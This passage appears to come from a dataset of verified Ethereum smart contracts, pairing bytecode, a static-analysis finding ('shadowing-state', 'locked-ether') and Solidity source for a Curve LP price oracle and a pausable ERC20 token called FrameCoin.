f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016102b9565b610a028282610daf565b6001600160a01b038086166000908152600460205260408082209390935590851681529081208054849290610a38908490610dc6565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a8491815260200190565b60405180910390a350505050565b600080610a9f8385610dc6565b905083811015610af15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016102b9565b9392505050565b634e487b7160e01b600052604160045260246000fd5b80356001600160a01b0381168114610b2557600080fd5b919050565b60006020808385031215610b3d57600080fd5b823567ffffffffffffffff80821115610b5557600080fd5b818501915085601f830112610b6957600080fd5b813581811115610b7b57610b7b610af8565b8060051b604051601f19603f83011681018181108582111715610ba057610ba0610af8565b604052918252848201925083810185019188831115610bbe57600080fd5b938501935b82851015610be357610bd485610b0e565b84529385019392850192610bc3565b98975050505050505050565b600060208083528351808285015260005b81811015610c1c57858101830151858201604001528201610c00565b81811115610c2e576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215610c5757600080fd5b610c6083610b0e565b946020939093013593505050565b600080600060608486031215610c8357600080fd5b610c8c84610b0e565b9250610c9a60208501610b0e565b9150604084013590509250925092565b600060208284031215610cbc57600080fd5b610af182610b0e565b60008060408385031215610cd857600080fd5b610ce183610b0e565b9150610cef60208401610b0e565b90509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415610d6d57610d6d610d43565b5060010190565b600181811c90821680610d8857607f821691505b60208210811415610da957634e487b7160e01b600052602260045260246000fd5b50919050565b600082821015610dc157610dc1610d43565b500390565b60008219821115610dd957610dd9610d43565b50019056fea26469706673582212201b7eb701c27defba62bf5ff41a45f100ace107ae1b51561ef4e5cdeb7d0d4ae464736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
| 4,121 |
0x0a7da4e31582a2fb4fd4067943e88f127f70ab39
|
/**
*Submitted for verification at Etherscan.io on 2022-03-10
*/
// SPDX-License-Identifier: GPL-3.0-or-later
/// CurveLPOracle.sol
// Copyright (C) 2021 Dai Foundation
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity 0.8.11;
interface AddressProviderLike {
function get_registry() external view returns (address);
}
interface CurveRegistryLike {
function get_n_coins(address) external view returns (uint256[2] calldata);
}
interface CurvePoolLike {
function coins(uint256) external view returns (address);
function get_virtual_price() external view returns (uint256);
function lp_token() external view returns (address);
}
interface OracleLike {
function read() external view returns (uint256);
}
contract CurveLPOracleFactory {
AddressProviderLike immutable ADDRESS_PROVIDER;
event NewCurveLPOracle(address owner, address orcl, bytes32 wat, address pool);
constructor(address addressProvider) {
ADDRESS_PROVIDER = AddressProviderLike(addressProvider);
}
function build(
address _owner,
address _pool,
bytes32 _wat,
address[] calldata _orbs
) external returns (address orcl) {
uint256 ncoins = CurveRegistryLike(ADDRESS_PROVIDER.get_registry()).get_n_coins(_pool)[1];
require(ncoins == _orbs.length, "CurveLPOracleFactory/wrong-num-of-orbs");
orcl = address(new CurveLPOracle(_owner, _pool, _wat, _orbs));
emit NewCurveLPOracle(_owner, orcl, _wat, _pool);
}
}
contract CurveLPOracle {
// --- Auth ---
mapping (address => uint256) public wards; // Addresses with admin authority
function rely(address _usr) external auth { wards[_usr] = 1; emit Rely(_usr); } // Add admin
function deny(address _usr) external auth { wards[_usr] = 0; emit Deny(_usr); } // Remove admin
modifier auth {
require(wards[msg.sender] == 1, "CurveLPOracle/not-authorized");
_;
}
address public immutable src; // Price source, do not remove as needed for OmegaPoker
// stopped, hop, and zph are packed into single slot to reduce SLOADs;
// this outweighs the added bitmasking overhead.
uint8 public stopped; // Stop/start ability to update
uint16 public hop = 1 hours; // Minimum time in between price updates
uint232 public zph; // Time of last price update plus hop
// --- Whitelisting ---
mapping (address => uint256) public bud;
modifier toll { require(bud[msg.sender] == 1, "CurveLPOracle/not-whitelisted"); _; }
struct Feed {
uint128 val; // Price
uint128 has; // Is price valid
}
Feed internal cur; // Current price (storage slot 0x3)
Feed internal nxt; // Queued price (storage slot 0x4)
address[] public orbs; // array of price feeds for pool assets, same order as in the pool
address public immutable pool; // Address of underlying Curve pool
bytes32 public immutable wat; // Label of token whose price is being tracked
uint256 public immutable ncoins; // Number of tokens in underlying Curve pool
// --- Events ---
event Rely(address indexed usr);
event Deny(address indexed usr);
event Stop();
event Start();
event Step(uint256 hop);
event Link(uint256 id, address orb);
event Value(uint128 curVal, uint128 nxtVal);
event Kiss(address a);
event Diss(address a);
// --- Init ---
constructor(address _ward, address _pool, bytes32 _wat, address[] memory _orbs) {
require(_pool != address(0), "CurveLPOracle/invalid-pool");
uint256 _ncoins = _orbs.length;
pool = _pool;
src = CurvePoolLike(_pool).lp_token();
wat = _wat;
ncoins = _ncoins;
for (uint256 i = 0; i < _ncoins;) {
require(_orbs[i] != address(0), "CurveLPOracle/invalid-orb");
orbs.push(_orbs[i]);
unchecked { i++; }
}
require(_ward != address(0), "CurveLPOracle/ward-0");
wards[_ward] = 1;
emit Rely(_ward);
}
function stop() external auth {
stopped = 1;
delete cur;
delete nxt;
zph = 0;
emit Stop();
}
function start() external auth {
stopped = 0;
emit Start();
}
function step(uint16 _hop) external auth {
uint16 old = hop;
hop = _hop;
if (zph > old) { // if false, zph will be unset and no update is needed
zph = (zph - old) + _hop;
}
emit Step(_hop);
}
function link(uint256 _id, address _orb) external auth {
require(_orb != address(0), "CurveLPOracle/invalid-orb");
require(_id < ncoins, "CurveLPOracle/invalid-orb-index");
orbs[_id] = _orb;
emit Link(_id, _orb);
}
// For consistency with other oracles
function zzz() external view returns (uint256) {
if (zph == 0) return 0; // backwards compatibility
return zph - hop;
}
function pass() external view returns (bool) {
return block.timestamp >= zph;
}
// Marked payable to save gas. DO *NOT* send ETH to poke(), it will be lost permanently.
function poke() external payable {
// Ensure a single SLOAD while avoiding solc's excessive bitmasking bureaucracy.
uint256 hop_;
{
// Block-scoping these variables saves some gas.
uint256 stopped_;
uint256 zph_;
assembly {
let slot1 := sload(1)
stopped_ := and(slot1, 0xff )
hop_ := and(shr(8, slot1), 0xffff)
zph_ := shr(24, slot1)
}
// When stopped, values are set to zero and should remain such; thus, disallow updating in that case.
require(stopped_ == 0, "CurveLPOracle/is-stopped");
// Equivalent to requiring that pass() returns true; logic repeated to save gas.
require(block.timestamp >= zph_, "CurveLPOracle/not-passed");
}
uint256 val = type(uint256).max;
for (uint256 i = 0; i < ncoins;) {
uint256 price = OracleLike(orbs[i]).read();
if (price < val) val = price;
unchecked { i++; }
}
val = val * CurvePoolLike(pool).get_virtual_price() / 10**18;
require(val != 0, "CurveLPOracle/zero-price");
require(val <= type(uint128).max, "CurveLPOracle/price-overflow");
Feed memory cur_ = nxt;
cur = cur_;
nxt = Feed(uint128(val), 1);
// The below is equivalent to:
// zph = block.timestamp + hop
// but ensures no extra SLOADs are performed.
//
// Even if _hop = (2^16 - 1), the maximum possible value, add(timestamp(), _hop)
// will not overflow (even a 232 bit value) for a very long time.
//
// Also, we know stopped was zero, so there is no need to account for it explicitly here.
assembly {
sstore(
1,
add(
shl(24, add(timestamp(), hop_)), // zph value starts 24 bits in
shl(8, hop_) // hop value starts 8 bits in
)
)
}
emit Value(cur_.val, uint128(val));
// Safe to terminate immediately since no postfix modifiers are applied.
assembly { stop() }
}
function peek() external view toll returns (bytes32,bool) {
return (bytes32(uint256(cur.val)), cur.has == 1);
}
function peep() external view toll returns (bytes32,bool) {
return (bytes32(uint256(nxt.val)), nxt.has == 1);
}
function read() external view toll returns (bytes32) {
require(cur.has == 1, "CurveLPOracle/no-current-value");
return (bytes32(uint256(cur.val)));
}
function kiss(address _a) external auth {
require(_a != address(0), "CurveLPOracle/no-contract-0");
bud[_a] = 1;
emit Kiss(_a);
}
function kiss(address[] calldata _a) external auth {
for(uint256 i = 0; i < _a.length;) {
require(_a[i] != address(0), "CurveLPOracle/no-contract-0");
bud[_a[i]] = 1;
emit Kiss(_a[i]);
unchecked { i++; }
}
}
function diss(address _a) external auth {
bud[_a] = 0;
emit Diss(_a);
}
function diss(address[] calldata _a) external auth {
for(uint256 i = 0; i < _a.length;) {
bud[_a[i]] = 0;
emit Diss(_a[i]);
unchecked { i++; }
}
}
}
|
0x6080604052600436106101a15760003560e01c806365c4ce7a116100e1578063a7a1ed721161008a578063be9a655511610064578063be9a655514610556578063bf353dbb1461056b578063e38e2cfb14610598578063f29c29c4146105b857600080fd5b8063a7a1ed721461046f578063a9c52a39146104b8578063b0b8579b1461052357600080fd5b806397783a11116100bb57806397783a111461041a5780639c52a7f11461043a578063a4dff0a21461045a57600080fd5b806365c4ce7a146103ae57806365fae35e146103ce57806375f12b21146103ee57600080fd5b8063371f8dae1161014e5780634fce7a2a116101285780634fce7a2a1461033757806357de26a41461036457806359e02dd71461037957806365af79091461038e57600080fd5b8063371f8dae146102a157806346d4577d146102e35780634ca299231461030357600080fd5b8063181783581161017f57806318178358146102455780631b25b65f1461024d5780632e7dc6af1461026d57600080fd5b806307da68f5146101a65780630e5a6c70146101bd57806316f0115b146101ec575b600080fd5b3480156101b257600080fd5b506101bb6105d8565b005b3480156101c957600080fd5b506101d261069b565b604080519283529015156020830152015b60405180910390f35b3480156101f857600080fd5b506102207f000000000000000000000000dc24316b9ae028f1497c275eb9192a3ea0f6702281565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101e3565b6101bb61074c565b34801561025957600080fd5b506101bb6102683660046119d0565b610b88565b34801561027957600080fd5b506102207f00000000000000000000000006325440d014e39736583c165c2963ba99faf14e81565b3480156102ad57600080fd5b506102d57f000000000000000000000000000000000000000000000000000000000000000281565b6040519081526020016101e3565b3480156102ef57600080fd5b506101bb6102fe3660046119d0565b610d84565b34801561030f57600080fd5b506102d57f435256563145544853544554480000000000000000000000000000000000000081565b34801561034357600080fd5b506102d5610352366004611a6e565b60026020526000908152604090205481565b34801561037057600080fd5b506102d5610ed4565b34801561038557600080fd5b506101d2610ff8565b34801561039a57600080fd5b506101bb6103a9366004611a90565b6110a9565b3480156103ba57600080fd5b506101bb6103c9366004611a6e565b6112c8565b3480156103da57600080fd5b506101bb6103e9366004611a6e565b6113a1565b3480156103fa57600080fd5b506001546104089060ff1681565b60405160ff90911681526020016101e3565b34801561042657600080fd5b50610220610435366004611abc565b61146c565b34801561044657600080fd5b506101bb610455366004611a6e565b6114a3565b34801561046657600080fd5b506102d561156d565b34801561047b57600080fd5b50600154630100000090047cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1642101560405190151581526020016101e3565b3480156104c457600080fd5b506001546104f590630100000090047cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1681565b6040517cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90911681526020016101e3565b34801561052f57600080fd5b5060015461054390610100900461ffff1681565b60405161ffff90911681526020016101e3565b34801561056257600080fd5b506101bb611603565b34801561057757600080fd5b506102d5610586366004611a6e565b60006020819052908152604090205481565b3480156105a457600080fd5b506101bb6105b3366004611ad5565b6116cf565b3480156105c457600080fd5b506101bb6105d3366004611a6e565b611880565b33600090815260208190526040902054600114610656576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a65640000000060448201526064015b60405180910390fd5b6001805460006003819055600481905562ffff0090911682179091556040517fbedf0f4abfe86d4ffad593d9607fe70e83ea706033d44d24b3b6283cf3fc4f6b9190a1565b336000908152600260205260408120548190600114610716576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f43757276654c504f7261636c652f6e6f742d77686974656c6973746564000000604482015260640161064d565b50506004546fffffffffffffffffffffffffffffffff808216917001000000000000000000000000000000009004166001149091565b600154600881901c61ffff169060ff81169060181c81156107c9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f43757276654c504f7261636c652f69732d73746f707065640000000000000000604482015260640161064d565b80421015610833576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f43757276654c504f7261636c652f6e6f742d7061737365640000000000000000604482015260640161064d565b507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff905060005b7f00000000000000000000000000000000000000000000000000000000000000028110156109465760006005828154811061089757610897611af9565b60009182526020918290200154604080517f57de26a4000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff909216926357de26a4926004808401938290030181865afa15801561090b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092f9190611b28565b90508281101561093d578092505b5060010161085a565b50670de0b6b3a76400007f000000000000000000000000dc24316b9ae028f1497c275eb9192a3ea0f6702273ffffffffffffffffffffffffffffffffffffffff1663bb7b8b806040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109df9190611b28565b6109e99083611b70565b6109f39190611bad565b905080610a5c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f43757276654c504f7261636c652f7a65726f2d70726963650000000000000000604482015260640161064d565b6fffffffffffffffffffffffffffffffff811115610ad6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f70726963652d6f766572666c6f7700000000604482015260640161064d565b604080518082018252600480546fffffffffffffffffffffffffffffffff8082168085527001000000000000000000000000000000009283900482166020808701829052908402909117600355855180870187528783168082526001918301829052938417909455600888901b42890160181b0190935583518551911681529182015290917f80a5d0081d7e9a7bdb15ef207c6e0772f0f56d24317693206c0e47408f2d0b73910160405180910390a1005b33600090815260208190526040902054600114610c01576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161064d565b60005b81811015610d7f576000838383818110610c2057610c20611af9565b9050602002016020810190610c359190611a6e565b73ffffffffffffffffffffffffffffffffffffffff161415610cb3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f43757276654c504f7261636c652f6e6f2d636f6e74726163742d300000000000604482015260640161064d565b600160026000858585818110610ccb57610ccb611af9565b9050602002016020810190610ce09190611a6e565b73ffffffffffffffffffffffffffffffffffffffff1681526020810191909152604001600020557f6ffc0fabf0709270e42087e84a3bfc36041d3b281266d04ae1962185092fb244838383818110610d3a57610d3a611af9565b9050602002016020810190610d4f9190611a6e565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390a1600101610c04565b505050565b33600090815260208190526040902054600114610dfd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161064d565b60005b81811015610d7f57600060026000858585818110610e2057610e20611af9565b9050602002016020810190610e359190611a6e565b73ffffffffffffffffffffffffffffffffffffffff1681526020810191909152604001600020557f12fdafd291eb287a54e3416070923d22aa5072f5ee04c4fb8361615e7508a37c838383818110610e8f57610e8f611af9565b9050602002016020810190610ea49190611a6e565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390a1600101610e00565b33600090815260026020526040812054600114610f4d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f43757276654c504f7261636c652f6e6f742d77686974656c6973746564000000604482015260640161064d565b60035470010000000000000000000000000000000090046fffffffffffffffffffffffffffffffff16600114610fdf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f43757276654c504f7261636c652f6e6f2d63757272656e742d76616c75650000604482015260640161064d565b506003546fffffffffffffffffffffffffffffffff1690565b336000908152600260205260408120548190600114611073576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f43757276654c504f7261636c652f6e6f742d77686974656c6973746564000000604482015260640161064d565b50506003546fffffffffffffffffffffffffffffffff808216917001000000000000000000000000000000009004166001149091565b33600090815260208190526040902054600114611122576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161064d565b73ffffffffffffffffffffffffffffffffffffffff811661119f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f43757276654c504f7261636c652f696e76616c69642d6f726200000000000000604482015260640161064d565b7f00000000000000000000000000000000000000000000000000000000000000028210611228576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f43757276654c504f7261636c652f696e76616c69642d6f72622d696e64657800604482015260640161064d565b806005838154811061123c5761123c611af9565b60009182526020918290200180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff93841617905560408051858152928416918301919091527f57e1d18531e0ed6c4f60bf6039e5719aa115e43e43847525125856433a69f7a791015b60405180910390a15050565b33600090815260208190526040902054600114611341576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161064d565b73ffffffffffffffffffffffffffffffffffffffff811660008181526002602090815260408083209290925590519182527f12fdafd291eb287a54e3416070923d22aa5072f5ee04c4fb8361615e7508a37c91015b60405180910390a150565b3360009081526020819052604090205460011461141a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161064d565b73ffffffffffffffffffffffffffffffffffffffff811660008181526020819052604080822060019055517fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a609190a250565b6005818154811061147c57600080fd5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff16905081565b3360009081526020819052604090205460011461151c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161064d565b73ffffffffffffffffffffffffffffffffffffffff8116600081815260208190526040808220829055517f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b9190a250565b600154600090630100000090047cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff166115a35750600090565b6001546115df90610100810461ffff1690630100000090047cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff16611be8565b7cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff16905090565b3360009081526020819052604090205460011461167c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161064d565b600180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690556040517f1b55ba3aa851a46be3b365aee5b5c140edd620d578922f3e8466d2cbd96f954b90600090a1565b33600090815260208190526040902054600114611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161064d565b6001805461ffff8381166101009081027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000ff8416179384905590910416907cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff63010000009091041681101561184c5760015461ffff838116916117ef91841690630100000090047cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff16611be8565b6117f99190611c26565b600160036101000a8154817cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff02191690837cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1602179055505b60405161ffff831681527fd5cae49d972f01d170fb2d3409c5f318698639863c0403e59e4af06e0ce92817906020016112bc565b336000908152602081905260409020546001146118f9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43757276654c504f7261636c652f6e6f742d617574686f72697a656400000000604482015260640161064d565b73ffffffffffffffffffffffffffffffffffffffff8116611976576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f43757276654c504f7261636c652f6e6f2d636f6e74726163742d300000000000604482015260640161064d565b73ffffffffffffffffffffffffffffffffffffffff81166000818152600260209081526040918290206001905590519182527f6ffc0fabf0709270e42087e84a3bfc36041d3b281266d04ae1962185092fb2449101611396565b600080602083850312156119e357600080fd5b823567ffffffffffffffff808211156119fb57600080fd5b818501915085601f830112611a0f57600080fd5b813581811115611a1e57600080fd5b8660208260051b8501011115611a3357600080fd5b60209290920196919550909350505050565b803573ffffffffffffffffffffffffffffffffffffffff81168114611a6957600080fd5b919050565b600060208284031215611a8057600080fd5b611a8982611a45565b9392505050565b60008060408385031215611aa357600080fd5b82359150611ab360208401611a45565b90509250929050565b600060208284031215611ace57600080fd5b5035919050565b600060208284031215611ae757600080fd5b813561ffff81168114611a8957600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600060208284031215611b3a57600080fd5b5051919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611ba857611ba8611b41565b500290565b600082611be3577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b60007cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff83811690831681811015611c1e57611c1e611b41565b039392505050565b60007cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff808316818516808303821115611c5e57611c5e611b41565b0194935050505056fea2646970667358221220fda241e016792946d430588cd3961b3fc99cb2c33d56e3cc1c513b0a581c0cd964736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 4,122 |
0x298f2da51fc35049a0da44bb1b5697ca908e35ee
|
pragma solidity ^0.4.23;
// openzeppelin-solidity: 1.9.0
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract FrameCoin is PausableToken {
string public constant name = "FrameCoin";
string public constant symbol = "FRAC";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 265e6 * 10**uint256(decimals);
function FrameCoin() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
}
|
